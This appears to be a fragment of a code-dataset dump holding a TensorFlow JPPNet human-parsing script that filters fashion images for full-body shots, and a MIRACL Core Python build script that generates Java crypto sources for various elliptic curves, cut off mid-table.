Years\")\r\nplt.show()\r\n","sub_path":"finance/tp11/Untitled.py","file_name":"Untitled.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"594520136","text":"from __future__ import print_function\nimport argparse\nfrom datetime import datetime\nimport os\nimport sys\nimport time\nimport scipy.misc\nimport cv2\nfrom PIL import Image\nfrom get_segment import check_full_body, check_background_color, check_lookbook\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom utils import *\nfrom LIP_model import *\n\nN_CLASSES = 20\nINPUT_SIZE = (384, 384)\nNUM_STEPS = 10000 # Number of images in the validation set.\n\nDATA_DIRECTORY = '/Users/macuser/Downloads/dataset/LOOKBOOK/lookbook/data/'\nDATA_LIST_PATH = '/Users/macuser/PycharmProjects/Processing_LOOKBOOK/duongpd/Todo_list_Tien2.txt'\nRESTORE_DIR = '/Users/macuser/Downloads/JPPNet-s2/model.ckpt-205632'\nOUTPUT_DIR = '/Users/macuser/Desktop'\n\nif not os.path.exists(OUTPUT_DIR):\n os.makedirs(OUTPUT_DIR)\n\n\ndef main():\n \"\"\"Create the model and start the evaluation process.\"\"\"\n\n # Create queue coordinator.\n coord = tf.train.Coordinator()\n h, w = INPUT_SIZE\n # Load reader.\n with tf.name_scope(\"create_inputs\"):\n reader = ImageReader(DATA_DIRECTORY, DATA_LIST_PATH, None, False, False, coord)\n image = reader.image\n image_rev = tf.reverse(image, tf.stack([1]))\n image_list = reader.image_list\n NUM_STEPS = len(image_list)\n image_batch_origin = tf.stack([image, image_rev])\n image_batch = tf.image.resize_images(image_batch_origin, [int(h), int(w)])\n image_batch075 = tf.image.resize_images(image_batch_origin, [int(h * 0.75), int(w * 0.75)])\n image_batch125 = tf.image.resize_images(image_batch_origin, [int(h * 1.25), int(w * 1.25)])\n\n # Create network.\n with tf.variable_scope('', reuse=False):\n net_100 = JPPNetModel({'data': image_batch}, is_training=False, n_classes=N_CLASSES)\n with tf.variable_scope('', reuse=True):\n net_075 = JPPNetModel({'data': image_batch075}, is_training=False, n_classes=N_CLASSES)\n with tf.variable_scope('', reuse=True):\n net_125 = JPPNetModel({'data': image_batch125}, is_training=False, n_classes=N_CLASSES)\n\n # parsing net\n parsing_fea1_100 = net_100.layers['res5d_branch2b_parsing']\n parsing_fea1_075 = net_075.layers['res5d_branch2b_parsing']\n parsing_fea1_125 = net_125.layers['res5d_branch2b_parsing']\n\n parsing_out1_100 = net_100.layers['fc1_human']\n parsing_out1_075 = net_075.layers['fc1_human']\n parsing_out1_125 = net_125.layers['fc1_human']\n\n # pose net\n resnet_fea_100 = net_100.layers['res4b22_relu']\n resnet_fea_075 = net_075.layers['res4b22_relu']\n resnet_fea_125 = net_125.layers['res4b22_relu']\n\n with tf.variable_scope('', reuse=False):\n pose_out1_100, pose_fea1_100 = pose_net(resnet_fea_100, 'fc1_pose')\n pose_out2_100, pose_fea2_100 = pose_refine(pose_out1_100, parsing_out1_100, pose_fea1_100, name='fc2_pose')\n parsing_out2_100, parsing_fea2_100 = parsing_refine(parsing_out1_100, pose_out1_100, parsing_fea1_100,\n name='fc2_parsing')\n parsing_out3_100, parsing_fea3_100 = parsing_refine(parsing_out2_100, pose_out2_100, parsing_fea2_100,\n name='fc3_parsing')\n\n with tf.variable_scope('', reuse=True):\n pose_out1_075, pose_fea1_075 = pose_net(resnet_fea_075, 'fc1_pose')\n pose_out2_075, pose_fea2_075 = pose_refine(pose_out1_075, parsing_out1_075, pose_fea1_075, name='fc2_pose')\n parsing_out2_075, parsing_fea2_075 = parsing_refine(parsing_out1_075, pose_out1_075, parsing_fea1_075,\n name='fc2_parsing')\n parsing_out3_075, parsing_fea3_075 = parsing_refine(parsing_out2_075, pose_out2_075, parsing_fea2_075,\n name='fc3_parsing')\n\n with tf.variable_scope('', reuse=True):\n pose_out1_125, pose_fea1_125 = pose_net(resnet_fea_125, 'fc1_pose')\n pose_out2_125, pose_fea2_125 = pose_refine(pose_out1_125, parsing_out1_125, pose_fea1_125, name='fc2_pose')\n parsing_out2_125, parsing_fea2_125 = parsing_refine(parsing_out1_125, pose_out1_125, parsing_fea1_125,\n name='fc2_parsing')\n parsing_out3_125, parsing_fea3_125 = parsing_refine(parsing_out2_125, pose_out2_125, parsing_fea2_125,\n name='fc3_parsing')\n\n parsing_out1 = tf.reduce_mean(\n tf.stack([tf.image.resize_images(parsing_out1_100, tf.shape(image_batch_origin)[1:3, ]),\n tf.image.resize_images(parsing_out1_075, tf.shape(image_batch_origin)[1:3, ]),\n tf.image.resize_images(parsing_out1_125, tf.shape(image_batch_origin)[1:3, ])]), axis=0)\n parsing_out2 = tf.reduce_mean(\n tf.stack([tf.image.resize_images(parsing_out2_100, tf.shape(image_batch_origin)[1:3, ]),\n tf.image.resize_images(parsing_out2_075, tf.shape(image_batch_origin)[1:3, ]),\n tf.image.resize_images(parsing_out2_125, tf.shape(image_batch_origin)[1:3, ])]), axis=0)\n parsing_out3 = tf.reduce_mean(\n tf.stack([tf.image.resize_images(parsing_out3_100, tf.shape(image_batch_origin)[1:3, ]),\n tf.image.resize_images(parsing_out3_075, tf.shape(image_batch_origin)[1:3, ]),\n tf.image.resize_images(parsing_out3_125, tf.shape(image_batch_origin)[1:3, ])]), axis=0)\n\n raw_output = tf.reduce_mean(tf.stack([parsing_out1, parsing_out2, parsing_out3]), axis=0)\n head_output, tail_output = tf.unstack(raw_output, num=2, axis=0)\n tail_list = tf.unstack(tail_output, num=20, axis=2)\n tail_list_rev = [None] * 20\n for xx in range(14):\n tail_list_rev[xx] = tail_list[xx]\n tail_list_rev[14] = tail_list[15]\n tail_list_rev[15] = tail_list[14]\n tail_list_rev[16] = tail_list[17]\n tail_list_rev[17] = tail_list[16]\n tail_list_rev[18] = tail_list[19]\n tail_list_rev[19] = tail_list[18]\n tail_output_rev = tf.stack(tail_list_rev, axis=2)\n tail_output_rev = tf.reverse(tail_output_rev, tf.stack([1]))\n\n raw_output_all = tf.reduce_mean(tf.stack([head_output, tail_output_rev]), axis=0)\n raw_output_all = tf.expand_dims(raw_output_all, dim=0)\n raw_output_all = tf.argmax(raw_output_all, dimension=3)\n pred_all = tf.expand_dims(raw_output_all, dim=3) # Create 4-d tensor.\n\n # Which variables to load.\n restore_var = tf.global_variables()\n # Set up tf session and initialize variables.\n config = tf.ConfigProto(log_device_placement=True, allow_soft_placement=True)\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n init = tf.global_variables_initializer()\n\n sess.run(init)\n sess.run(tf.local_variables_initializer())\n\n # Load weights.\n loader = tf.train.Saver(var_list=restore_var)\n\n loader.restore(sess, RESTORE_DIR)\n # Start queue threads.\n threads = tf.train.start_queue_runners(coord=coord, sess=sess)\n\n # Iterate over training steps.\n for step in range(NUM_STEPS):\n start = time.time()\n parsing_ = sess.run(pred_all)\n\n img_split = image_list[step].split('/')\n img_id = img_split[-1][:-4]\n\n msk = decode_labels(parsing_, num_classes=N_CLASSES)\n parsing_im = Image.fromarray(msk[0])\n # full body\n if (check_full_body(parsing_im)):\n print(\"Step {} takes {} second(s) --- JPP -> Saved.\".format(step, time.time() - start))\n with open(os.path.join(OUTPUT_DIR, 'filter.txt'), 'a') as writer:\n print(reader.tmp[step])\n writer.write(\"{}\\n\".format(reader.tmp[step]))\n with open(os.path.join(OUTPUT_DIR, 'check_flag.txt'), 'a') as writer:\n writer.write(\"{}\\n\".format(step))\n\n # if check_background_color(image_list[step], parsing_im): # background as VITON\n # if check_full_body(parsing_im): # full body\n # output_dir_full = '/'.join(str(os.path.join(OUTPUT_DIR, 'full_segment', reader.tmp[step])).split('/')[:-1]).replace('img/',\n # 'seg/')\n # if not os.path.exists(output_dir_full):\n # os.makedirs(output_dir_full)\n #\n # parsing_im.save(os.path.join(OUTPUT_DIR, 'full_segment', reader.tmp[step]).replace('img/', 'seg/').replace('jpg', 'png'))\n # print(\"Step {} takes {} second(s) --- full_body -> Saved.\".format(step, time.time() - start))\n # with open(os.path.join(OUTPUT_DIR, 'full_segment', 'fullbody_info.txt'), 'a') as writer:\n # writer.write(\"{},{}\\n\".format(reader.tmp[step], reader.tmp[step].replace('img/', 'seg/')))\n # else: # a half of body\n # output_dir_half = '/'.join(str(os.path.join(OUTPUT_DIR, 'half_segment',reader.tmp[step])).split('/')[:-1]).replace('img/',\n # 'seg/')\n # if not os.path.exists(output_dir_half):\n # os.makedirs(output_dir_half)\n #\n # parsing_im.save(os.path.join(OUTPUT_DIR, 'half_segment', reader.tmp[step]).replace('img/', 'seg/').replace('jpg', 'png'))\n # print(\"Step {} takes {} second(s) --- half_body -> Saved.\".format(step, time.time() - start))\n # with open(os.path.join(OUTPUT_DIR, 'half_segment', 'halfbody_info.txt'), 'a') as writer:\n # writer.write(\"{},{}\\n\".format(reader.tmp[step], reader.tmp[step].replace('img/', 'seg/')))\n #\n # with open(os.path.join(OUTPUT_DIR, 'check_flag.txt'), 'a') as writer:\n # writer.write(\"{}\\n\".format(step))\n coord.request_stop()\n coord.join(threads)\n\n\nif __name__ == '__main__':\n main()","sub_path":"evaluate_parsing_JPPNet-s2.py","file_name":"evaluate_parsing_JPPNet-s2.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"6261421","text":"#!/usr/bin/env python3\n\n#\n# Copyright (c) 2012-2020 MIRACL UK Ltd.\n#\n# This file is part of MIRACL Core\n# (see https://github.com/miracl/core).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport os\nimport sys\n\ntesting=False\nkeep_querying=True\n\ncopytext=\"cp \"\ndeltext=\"rm \"\nslashtext=\"/\"\nmakedir=\"mkdir -p \"\norg1text=\"org\"\norg2text=\"miracl\"\n\nif sys.platform.startswith(\"win\") :\n copytext=\">NUL copy \"\n deltext=\"del \"\n slashtext=\"\\\\\"\n makedir=\"md \"\n\ncorepath = \"core\" + slashtext + \"src\" + slashtext + \"main\" + slashtext + \"java\" + slashtext + org1text + slashtext + org2text +slashtext + \"core\"\ncoreTestPath = \"core\" + slashtext + \"src\" + slashtext + \"test\" + slashtext + \"java\" + slashtext + org1text + slashtext + org2text + slashtext + \"core\"\n\ntesting=False\nif len(sys.argv)==2 :\n if sys.argv[1]==\"test\":\n testing=True\n\ndef replace(namefile,oldtext,newtext):\n f = open(namefile,'r')\n filedata = f.read()\n f.close()\n\n newdata = filedata.replace(oldtext,newtext)\n\n f = open(namefile,'w')\n f.write(newdata)\n f.close()\n\n# rsaset(rsaname,big_length_bytes,bits_in_base,multiplier)\n# The RSA name reflects the modulus size, which is a 2^m multiplier\n# of the underlying big length\n# There are choices here, different ways of getting the same result, but some faster than others\ndef rsaset(tb,nb,base,ml) :\n global deltext,slashtext,copytext\n\n fpath=corepath+slashtext+tb+slashtext\n fpathTest=coreTestPath+slashtext+tb+slashtext #ms\n os.system(makedir+corepath+slashtext+tb)\n os.system(makedir+coreTestPath+slashtext+tb) #ms\n\n os.system(copytext+\"CONFIG_BIG.java \"+fpath+\"CONFIG_BIG.java\")\n os.system(copytext+\"CONFIG_FF.java \"+fpath+\"CONFIG_FF.java\")\n os.system(copytext+\"BIG32.java \"+fpath+\"BIG.java\")\n os.system(copytext+\"DBIG32.java \"+fpath+\"DBIG.java\")\n os.system(copytext+\"FF32.java \"+fpath+\"FF.java\")\n os.system(copytext+\"RSA.java \"+fpath+\"RSA.java\")\n os.system(copytext+\"private_key.java \"+fpath+\"private_key.java\")\n os.system(copytext+\"public_key.java \"+fpath+\"public_key.java\")\n os.system(copytext+\"TestRSA.java \"+fpathTest+\"TestRSA.java\") #ms\n os.system(copytext+\"TesttimeRSA.java \"+fpathTest+\"TesttimeRSA.java\") #ms\n\n replace(fpath+\"CONFIG_BIG.java\",\"XXX\",tb)\n replace(fpath+\"CONFIG_FF.java\",\"XXX\",tb)\n replace(fpath+\"BIG.java\",\"XXX\",tb)\n replace(fpath+\"DBIG.java\",\"XXX\",tb)\n replace(fpath+\"FF.java\",\"XXX\",tb)\n replace(fpath+\"RSA.java\",\"XXX\",tb)\n replace(fpath+\"private_key.java\",\"XXX\",tb)\n replace(fpath+\"public_key.java\",\"XXX\",tb)\n replace(fpathTest+\"TestRSA.java\",\"XXX\",tb) #ms\n replace(fpathTest+\"TesttimeRSA.java\",\"XXX\",tb) #ms\n\n replace(fpath+\"CONFIG_BIG.java\",\"@NB@\",nb)\n replace(fpath+\"CONFIG_BIG.java\",\"@BASE@\",base)\n\n replace(fpath+\"CONFIG_FF.java\",\"@ML@\",ml);\n\n# curveset(curve,bits_in_base,modulus_bits,modulus_mod_8,Z,modulus_type,curve_type,Curve A,pairing_friendly,sextic twist,sign of x,g2_table size,ate bits,curve security)\n# where \"curve\" is the common name for the elliptic curve\n# bits_in_base gives the number base used for 32 bit architectures, as n where the base is 2^n\n# modulus_bits is the actual bit length of the modulus.\n# modulus_mod_8 is the remainder when the modulus is divided by 8\n# rz Z value for hash_to_point, If list G1 Z value is in [0], G2 Z value (=a+bz) is in [1], [2]\n# modulus_type is NOT_SPECIAL, or PSEUDO_MERSENNE, or MONTGOMERY_Friendly, or GENERALISED_MERSENNE (supported for GOLDILOCKS only)\n# i for Fp2 QNR 2^i+sqrt(-1) (relevant for PFCs only, else =0). Or QNR over Fp if p=1 mod 8\n# curve_type is WEIERSTRASS, EDWARDS or MONTGOMERY\n# Curve A parameter\n# pairing_friendly is BN, BLS or NOT (if not pairing friendly)\n# if pairing friendly. M or D type twist, and sign of the family parameter x\n# g2_table size is number of entries in precomputed table\n# ate bits is number of bits in Ate parameter (from romgen program)\n# curve security is AES equivalent, rounded up.\n\ndef curveset(tc,base,nbt,m8,rz,mt,qi,ct,ca,pf,stw,sx,g2,ab,cs) :\n\n inbt=int(nbt)\n itb=int(inbt+(8-inbt%8)%8)\n inb=int(itb/8)\n nb=str(inb)\n\n global deltext,slashtext,copytext\n\n tcu=tc.upper()\n\n fpath=corepath+slashtext+tcu+slashtext\n fpathTest=coreTestPath+slashtext+tcu+slashtext #ms\n os.system(makedir+corepath+slashtext+tcu)\n os.system(makedir+coreTestPath+slashtext+tcu) #ms\n\n os.system(copytext+\"CONFIG_BIG.java \"+fpath+\"CONFIG_BIG.java\")\n os.system(copytext+\"CONFIG_FIELD.java \"+fpath+\"CONFIG_FIELD.java\")\n os.system(copytext+\"CONFIG_CURVE.java \"+fpath+\"CONFIG_CURVE.java\")\n os.system(copytext+\"BIG32.java \"+fpath+\"BIG.java\")\n os.system(copytext+\"DBIG32.java \"+fpath+\"DBIG.java\")\n os.system(copytext+\"FP32.java \"+fpath+\"FP.java\")\n os.system(copytext+\"ECP.java \"+fpath+\"ECP.java\")\n os.system(copytext+\"ECDH.java \"+fpath+\"ECDH.java\")\n os.system(copytext+\"EDDSA.java \"+fpath+\"EDDSA.java\")\n os.system(copytext+\"HPKE.java \"+fpath+\"HPKE.java\")\n os.system(copytext+\"ROM_\"+tcu+\"_32.java \"+fpath+\"ROM.java\")\n os.system(copytext+\"TestECDH.java \"+fpathTest+\"TestECDH.java\") #ms\n os.system(copytext+\"TestEDDSA.java \"+fpathTest+\"TestEDDSA.java\") #ms\n os.system(copytext+\"TestHPKE.java \"+fpathTest+\"TestHPKE.java\") #ms\n os.system(copytext+\"TestHTP.java \"+fpathTest+\"TestHTP.java\") #ms\n os.system(copytext+\"TesttimeECDH.java \"+fpathTest+\"TesttimeECDH.java\") #ms\n\n replace(fpath+\"CONFIG_BIG.java\",\"XXX\",tcu)\n replace(fpath+\"CONFIG_FIELD.java\",\"XXX\",tcu)\n replace(fpath+\"CONFIG_CURVE.java\",\"XXX\",tcu)\n replace(fpath+\"BIG.java\",\"XXX\",tcu)\n replace(fpath+\"DBIG.java\",\"XXX\",tcu)\n replace(fpath+\"FP.java\",\"XXX\",tcu)\n replace(fpath+\"ECP.java\",\"XXX\",tcu)\n replace(fpath+\"ECDH.java\",\"XXX\",tcu)\n replace(fpath+\"EDDSA.java\",\"XXX\",tcu)\n replace(fpath+\"EDDSA.java\",\"Xxx\",tc)\n replace(fpath+\"HPKE.java\",\"XXX\",tcu)\n replace(fpathTest+\"TestECDH.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestEDDSA.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestHPKE.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestHTP.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TesttimeECDH.java\",\"XXX\",tcu) #ms\n\n replace(fpath+\"CONFIG_BIG.java\",\"@NB@\",nb)\n replace(fpath+\"CONFIG_BIG.java\",\"@BASE@\",base)\n\n replace(fpath+\"CONFIG_FIELD.java\",\"@NBT@\",nbt)\n replace(fpath+\"CONFIG_FIELD.java\",\"@M8@\",m8)\n replace(fpath+\"CONFIG_FIELD.java\",\"@MT@\",mt)\n\n if ca == \"0\" :\n replace(fpath+\"ECP.java\",\"CAISZS\",\"*/\")\n replace(fpath+\"ECP.java\",\"CAISZF\",\"/*\")\n\n hc=\"0\"\n hc2=\"0\"\n# Get Hash-to-Curve Z for G1 and G2\n\n if isinstance(rz,list) :\n if len(rz)==2 : # Z followed by SSWU isogeny degree\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ@\",rz[0])\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2A@\",\"0\")\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2B@\",\"0\")\n hc=rz[1]\n if len(rz)==3 : # Z for G1 followed by Z for G2 (for SVDW)\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ@\",rz[0])\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2A@\",rz[1])\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2B@\",rz[2])\n if len(rz)==5 : # Z for G1, Z for G2, SSWU isogeny degree for G1, SSWU isogeny degree for G2\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ@\",rz[0])\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2A@\",rz[1])\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2B@\",rz[2])\n hc=rz[3]\n hc2=rz[4]\n else :\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ@\",rz) # just Z for SSWU, or indicates RFC7748 or Generic for Elligator\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2A@\",\"0\")\n replace(fpath+\"CONFIG_FIELD.java\",\"@RZ2B@\",\"0\")\n\n if hc!=\"0\" :\n replace(fpath+\"ECP.java\",\"CAHCZS\",\"*/\")\n replace(fpath+\"ECP.java\",\"CAHCZF\",\"/*\")\n\n itw=int(qi)%10\n replace(fpath+\"CONFIG_FIELD.java\",\"@QI@\",str(itw))\n if int(qi)//10 > 0 :\n replace(fpath+\"CONFIG_FIELD.java\",\"@TW@\",\"POSITOWER\")\n else :\n replace(fpath+\"CONFIG_FIELD.java\",\"@TW@\",\"NEGATOWER\")\n\n\n ib=int(base)\n inb=int(nb)\n inbt=int(nbt)\n sh=ib*(1+((8*inb-1)//ib))-inbt\n if sh > 14 :\n sh=14\n replace(fpath+\"CONFIG_FIELD.java\",\"@SH@\",str(sh))\n\n\n replace(fpath+\"CONFIG_CURVE.java\",\"@CT@\",ct)\n replace(fpath+\"CONFIG_CURVE.java\",\"@CA@\",ca)\n replace(fpath+\"CONFIG_CURVE.java\",\"@PF@\",pf)\n\n replace(fpath+\"CONFIG_CURVE.java\",\"@ST@\",stw)\n replace(fpath+\"CONFIG_CURVE.java\",\"@SX@\",sx)\n replace(fpath+\"CONFIG_CURVE.java\",\"@AB@\",ab)\n replace(fpath+\"CONFIG_CURVE.java\",\"@G2@\",g2)\n\n replace(fpath+\"CONFIG_CURVE.java\",\"@HC@\",hc) \n replace(fpath+\"CONFIG_CURVE.java\",\"@HC2@\",hc2) \n\n if cs == \"128\" :\n replace(fpath+\"CONFIG_CURVE.java\",\"@HT@\",\"32\")\n replace(fpath+\"CONFIG_CURVE.java\",\"@AK@\",\"16\")\n if cs == \"192\" :\n replace(fpath+\"CONFIG_CURVE.java\",\"@HT@\",\"48\")\n replace(fpath+\"CONFIG_CURVE.java\",\"@AK@\",\"24\")\n if cs == \"256\" :\n replace(fpath+\"CONFIG_CURVE.java\",\"@HT@\",\"64\")\n replace(fpath+\"CONFIG_CURVE.java\",\"@AK@\",\"32\")\n\n if pf != \"NOT\" :\n os.system(copytext+\"FP2.java \"+fpath+\"FP2.java\")\n os.system(copytext+\"FP4.java \"+fpath+\"FP4.java\")\n\n replace(fpath+\"FP2.java\",\"XXX\",tcu)\n replace(fpath+\"FP4.java\",\"XXX\",tcu)\n\n if pf == \"BN\" or pf == \"BLS12\" :\n\n os.system(copytext+\"ECP2.java \"+fpath+\"ECP2.java\")\n os.system(copytext+\"FP12.java \"+fpath+\"FP12.java\")\n os.system(copytext+\"PAIR.java \"+fpath+\"PAIR.java\")\n os.system(copytext+\"MPIN.java \"+fpath+\"MPIN.java\")\n os.system(copytext+\"BLS.java \"+fpath+\"BLS.java\")\n os.system(copytext+\"TestMPIN.java \"+fpathTest+\"TestMPIN.java\") #ms\n os.system(copytext+\"TestHTP2.java \"+fpathTest+\"TestHTP2.java\") #ms\n os.system(copytext+\"TestBLS.java \"+fpathTest+\"TestBLS.java\") #ms\n os.system(copytext+\"TesttimeMPIN.java \"+fpathTest+\"TesttimeMPIN.java\") #ms\n\n if hc2!=\"0\" :\n replace(fpath+\"ECP2.java\",\"CAHCZS\",\"*/\")\n replace(fpath+\"ECP2.java\",\"CAHCZF\",\"/*\")\n else :\n replace(fpath+\"ECP2.java\",\"CAHCNZS\",\"*/\")\n replace(fpath+\"ECP2.java\",\"CAHCNZF\",\"/*\")\n\n replace(fpath+\"FP12.java\",\"XXX\",tcu)\n replace(fpath+\"ECP2.java\",\"XXX\",tcu)\n replace(fpath+\"PAIR.java\",\"XXX\",tcu)\n replace(fpath+\"MPIN.java\",\"XXX\",tcu)\n replace(fpath+\"BLS.java\",\"XXX\",tcu)\n replace(fpathTest+\"TestMPIN.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestHTP2.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestBLS.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TesttimeMPIN.java\",\"XXX\",tcu) #ms\n\n if pf == \"BN\" :\n replace(fpath+\"PAIR.java\",\"PFBNS\",\"*/\")\n replace(fpath+\"PAIR.java\",\"PFBNF\",\"/*\")\n\n if pf == \"BLS24\" :\n os.system(copytext+\"ECP4.java \"+fpath+\"ECP4.java\")\n os.system(copytext+\"FP8.java \"+fpath+\"FP8.java\")\n os.system(copytext+\"FP24.java \"+fpath+\"FP24.java\")\n os.system(copytext+\"PAIR4.java \"+fpath+\"PAIR4.java\")\n os.system(copytext+\"MPIN192.java \"+fpath+\"MPIN192.java\")\n os.system(copytext+\"BLS192.java \"+fpath+\"BLS192.java\")\n os.system(copytext+\"TestMPIN192.java \"+fpathTest+\"TestMPIN192.java\") #ms\n os.system(copytext+\"TestBLS192.java \"+fpathTest+\"TestBLS192.java\") #ms\n os.system(copytext+\"TesttimeMPIN192.java \"+fpathTest+\"TesttimeMPIN192.java\") #ms\n\n replace(fpath+\"FP4.java\",\"PFGE24S\",\"*/\")\n replace(fpath+\"FP4.java\",\"PFGE24F\",\"/*\")\n replace(fpath+\"FP8.java\",\"XXX\",tcu)\n replace(fpath+\"FP24.java\",\"XXX\",tcu)\n replace(fpath+\"ECP4.java\",\"XXX\",tcu)\n replace(fpath+\"PAIR4.java\",\"XXX\",tcu)\n replace(fpath+\"MPIN192.java\",\"XXX\",tcu)\n replace(fpath+\"BLS192.java\",\"XXX\",tcu)\n replace(fpathTest+\"TestMPIN192.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestBLS192.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TesttimeMPIN192.java\",\"XXX\",tcu) #ms\n\n if pf == \"BLS48\" :\n\n os.system(copytext+\"FP8.java \"+fpath+\"FP8.java\")\n os.system(copytext+\"ECP8.java \"+fpath+\"ECP8.java\")\n os.system(copytext+\"FP16.java \"+fpath+\"FP16.java\")\n os.system(copytext+\"FP48.java \"+fpath+\"FP48.java\")\n os.system(copytext+\"PAIR8.java \"+fpath+\"PAIR8.java\")\n os.system(copytext+\"MPIN256.java \"+fpath+\"MPIN256.java\")\n os.system(copytext+\"BLS256.java \"+fpath+\"BLS256.java\")\n os.system(copytext+\"TestMPIN256.java \"+fpathTest+\"TestMPIN256.java\") #ms\n os.system(copytext+\"TestBLS256.java \"+fpathTest+\"TestBLS256.java\") #ms\n os.system(copytext+\"TesttimeMPIN256.java \"+fpathTest+\"TesttimeMPIN256.java\") #ms\n\n replace(fpath+\"FP4.java\",\"PFGE24S\",\"*/\")\n replace(fpath+\"FP4.java\",\"PFGE24F\",\"/*\")\n replace(fpath+\"FP8.java\",\"PFGE48S\",\"*/\")\n replace(fpath+\"FP8.java\",\"PFGE48F\",\"/*\")\n replace(fpath+\"FP8.java\",\"XXX\",tcu)\n replace(fpath+\"FP16.java\",\"XXX\",tcu)\n replace(fpath+\"FP48.java\",\"XXX\",tcu)\n replace(fpath+\"ECP8.java\",\"XXX\",tcu)\n replace(fpath+\"PAIR8.java\",\"XXX\",tcu)\n replace(fpath+\"MPIN256.java\",\"XXX\",tcu)\n replace(fpath+\"BLS256.java\",\"XXX\",tcu)\n replace(fpathTest+\"TestMPIN256.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TestBLS256.java\",\"XXX\",tcu) #ms\n replace(fpathTest+\"TesttimeMPIN256.java\",\"XXX\",tcu) #ms\n\n\nos.system(makedir + corepath)\n\nos.system(copytext + \"pom.xml \" + \"core\" + slashtext + \".\")\nfor file in ['HASH*.java', 'HMAC.java', 'SHA3.java', 'RAND.java', 'AES.java', 'GCM.java', 'NHS.java', 'KYBER.java', 'DILITHIUM.java', 'SHARE.java']:\n os.system(copytext + file + \" \" + corepath+slashtext+\".\")\n\n\nclass miracl_crypto:\n np_curves = (\n (\"Ed25519\",\"29\",\"255\",\"2\",\"1\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"-1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"C25519\",\"29\",\"255\",\"2\",\"1\",\"PSEUDO_MERSENNE\",\"0\",\"MONTGOMERY\",\"486662\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"NIST256\",\"28\",\"256\",\"1\",\"-10\",\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"), # Change to 28\n (\"BRAINPOOL\",\"28\",\"256\",\"1\",\"-3\",\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"), # Change to 28\n (\"ANSSI\",\"28\",\"256\",\"1\",\"-5\",\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"), # Change to 28\n (\"HIFIVE\",\"29\",\"336\",\"2\",\"1\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"192\"),\n (\"Ed448\",\"29\",\"448\",\"1\",\"0\",\"GENERALISED_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"256\"),\n (\"NIST384\",\"29\",\"384\",\"1\",\"-12\",\"NOT_SPECIAL\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"192\"), # change to 29\n (\"C41417\",\"29\",\"414\",\"1\",\"1\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"256\"),\n (\"NIST521\",\"28\",\"521\",\"1\",\"-4\",\"PSEUDO_MERSENNE\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"256\"),\n (\"NUMS256W\",\"28\",\"256\",\"1\",\"7\",\"PSEUDO_MERSENNE\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"NUMS256E\",\"29\",\"256\",\"1\",\"0\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"128\"),\n (\"NUMS384W\",\"29\",\"384\",\"1\",\"-4\",\"PSEUDO_MERSENNE\",\"0\",\"WEIERSTRASS\",\"-3\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"192\"),\n (\"NUMS384E\",\"29\",\"384\",\"1\",\"0\",\"PSEUDO_MERSENNE\",\"0\",\"EDWARDS\",\"1\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"NOT\",\"192\"),\n 